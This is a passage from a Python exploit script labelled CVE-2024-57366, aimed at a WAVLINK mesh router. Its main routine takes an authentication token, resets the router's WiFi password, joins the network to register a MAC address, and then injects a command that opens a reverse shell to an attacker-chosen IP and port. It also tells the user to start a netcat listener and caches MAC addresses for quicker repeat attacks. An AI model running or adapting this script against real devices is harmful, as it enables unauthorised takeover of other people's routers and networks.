parser.add_argument("--local-ip", help="Local IP address for reverse shell")
parser.add_argument("--local-port", type=int, help="Local port for reverse shell")
parser.add_argument("--ssid", default="WAVLINK-Mesh_DC4B", help="WiFi SSID")
parser.add_argument("--force-full", action="store_true", help="Force full exploit (skip cached MAC check)")
parser.add_argument("--list-cached", action="store_true", help="List cached MAC addresses and exit")
args = parser.parse_args()
# Handle list cached MACs option
if args.list_cached:
list_cached_macs()
return
# Validate required arguments for exploit
if not args.local_ip or not args.local_port:
print("[-] Error: --local-ip and --local-port are required for exploit")
print("[-] Use --list-cached to view cached MAC addresses")
sys.exit(1)
print("=" * 60)
print("CVE-2024-57366 Exploit - Simplified Version")
print("=" * 60)
# Check for cached MAC addresses first (unless forced to do full exploit)
if not args.force_full:
cached_mac = get_cached_mac_for_target(args.target)
if cached_mac:
print(f"[+] Found cached MAC address for {args.target}: {cached_mac}")
response = input("[?] Use cached MAC for quick exploit? (y/n): ").lower().strip()
if response in ['y', 'yes']:
success = quick_exploit_with_cached_mac(args.target, args.port, args.local_ip, args.local_port, args.password, cached_mac)
if success:
print("[+] Quick exploit completed successfully!")
return
else:
print("[-] Quick exploit failed, falling back to full exploit...")
print()
print("[+] Performing full exploit (WiFi connection + MAC registration)...")
# Step 1: Detect wireless adapters
wireless_adapters = detect_wireless_adapters()
if not wireless_adapters:
print("[-] No wireless adapters found!")
print("[-] This exploit requires a wireless adapter to connect to the router's WiFi.")
print("[-] Please ensure you have a wireless adapter available and try again.")
print("")
print("[-] Suggestions:")
print("[-] 1. Connect a USB WiFi adapter")
print("[-] 2. Enable your built-in wireless adapter")
print("[-] 3. Check that wireless drivers are loaded")
print("[-] 4. Try running: sudo modprobe -r <driver> && sudo modprobe <driver>")
print("[-] 5. Check: lsusb | grep -i wireless")
print("[-] 6. Check: iw dev")
sys.exit(1)
# Use the first available wireless adapter
interface_name, mac_address, device_type = wireless_adapters[0]
print(f"[+] Using wireless adapter: {interface_name} ({mac_address}) - Type: {device_type}")
# Step 2: Get authentication token
print("[+] Getting authentication token...")
token = retrieve_token(args.target, args.port, args.password, args.local_ip, args.local_port)
if not token:
print("[-] Failed to get authentication token")
sys.exit(1)
# Step 3: Reset WiFi password
print("[+] Resetting WiFi password...")
if not reset_wifi_password(args.target, args.port, token, args.password):
print("[-] Failed to reset WiFi password")
sys.exit(1)
# Step 4: Connect to WiFi (REQUIRED - for MAC registration)
print("[+] Connecting to WiFi for MAC registration...")
print("[+] This will preserve your existing network connections")
wifi_connected, mac_address = connect_to_wifi_isolated(interface_name, mac_address, args.ssid, args.password)
if not wifi_connected:
print("[-] WiFi connection failed - trying exploit anyway...")
print("[-] The router may still accept the MAC address if it was previously registered")
print("[-] If the exploit fails, manually connect to WiFi first:")
print("[-] Network: WAVLINK-Mesh_DC4B, Password: password1")
print("[-] Then run the exploit again")
# Don't exit - continue with exploit attempt
else:
print("[+] WiFi connection successful! MAC address is now registered with the router.")
# Step 5: Wait for WiFi password reset to take effect and MAC registration
print("[+] Waiting 60 seconds for WiFi password reset to take effect and MAC registration...")
time.sleep(60)
# Step 6: Make logout request and renew token
print("[+] Making logout request...")
logout_request(args.target, args.port)
print("[+] Renewing authentication token...")
token = retrieve_token(args.target, args.port, args.password, args.local_ip, args.local_port)
if not token:
print("[-] Failed to renew authentication token")
sys.exit(1)
# Step 7: Execute exploit
print("[+] Executing exploit...")
success = False
try:
success = inject_command(args.target, args.port, token, args.local_ip, args.local_port, mac_address)
if success:
print("\n[+] Exploit completed successfully!")
print(f"[+] Reverse shell should connect to {args.local_ip}:{args.local_port}")
print(f"[+] Make sure you have a listener running: nc -lvp {args.local_port}")
# Ask if user wants to save this MAC address for future quick exploits
print()
response = input(f"[?] Save MAC address {mac_address} for quick future exploits? (y/n): ").lower().strip()
if response in ['y', 'yes']:
save_successful_mac(mac_address, args.target)
print(f"[+] Next time you can use: --force-full to skip this prompt")
else:
print("\n[-] Exploit failed!")
print("[-] The MAC address may not be registered with the router.")
print("[-] Try connecting to the WiFi manually first, then run the exploit again.")
finally:
# Step 9: Clean up WiFi connection (preserves existing network)
print("\n[+] Cleaning up WiFi connection...")
if 'wifi_connected' in locals() and wifi_connected:
disconnect_wifi_cleanly(interface_name)
else:
print("[+] No WiFi connection to clean up")
print("[+] Your existing network connections remain intact")
if __name__ == "__main__":
main()